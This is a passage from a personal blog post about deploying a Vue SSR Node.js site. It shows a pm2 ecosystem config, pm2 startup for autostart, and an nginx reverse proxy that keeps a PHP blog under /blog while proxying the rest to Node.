I also use the node process manager, pm2 to background and fork the express process to use more than one cpu. This is my ecosystem.config.js

module.exports = {
  apps: [{
    name: 'errietta.me',
    script: 'server/index.js',

    instances: 0,
    autorestart: true,
    watch: false,
    max_memory_restart: '1G',
    env: {
      NODE_ENV: 'production',
      HOST: '127.0.0.1',
      API_URL: 'https://www.errietta.me'
    }
  }]
}

I was terrified about getting Ubuntu 14.04 to autostart my node app on system startup; I’d have to mess around with upstart or systemd and I’ve never been particularly good at those things. However, pm2 to the rescue! All I had to do was to run pm2 startup and follow the instructions and voila! My node app would auto start.

I also followed this tutorial to set up the nginx reverse proxy.

First step was to register the node server as an upstream:

upstream my_nodejs_upstream {
    server 127.0.0.1:3000;
    keepalive 64;
}

As mentioned, I did want to preserve the php configuration of my blog, which ended up being surprisingly easy.

I edited my already existing server { } block and I kept this section:

server {
    # other config...

    location /blog {
        index index.php index.html index.htm;

        if (-f $request_filename) {
            break;
        }

        if (-d $request_filename) {
            break;
        }

        location ~ \.php$ {
            fastcgi_pass 127.0.0.1:9000;
            fastcgi_index index.php;
            fastcgi_param SCRIPT_FILENAME /path/to/$fastcgi_script_name;
            include fastcgi_params;
        }

        rewrite ^(.+)$ /blog/index.php?q=$1 last;
        error_page  404  = /blog/index.php?q=$uri;
    }

Before adding the section to proxy everything else to node:

   location / {
      proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
      proxy_set_header Host $http_host;
      proxy_set_header X-NginX-Proxy true;
      proxy_http_version 1.1;
      proxy_set_header Upgrade $http_upgrade;
      proxy_set_header Connection "upgrade";
      proxy_max_temp_file_size 0;
      proxy_pass http://my_nodejs_upstream/;
      proxy_redirect off;
      proxy_read_timeout 240s;
    }

And, we’re done – I had replaced my site’s php back-end with a node.js vue SSR backend and preserved the PHP parts I still needed, quite easily. I hope you enjoyed this account of how I initiated, developed, and deployed my website to its new vue-ssr home, and that it proves helpful in some way.

Check out my github for the finished version.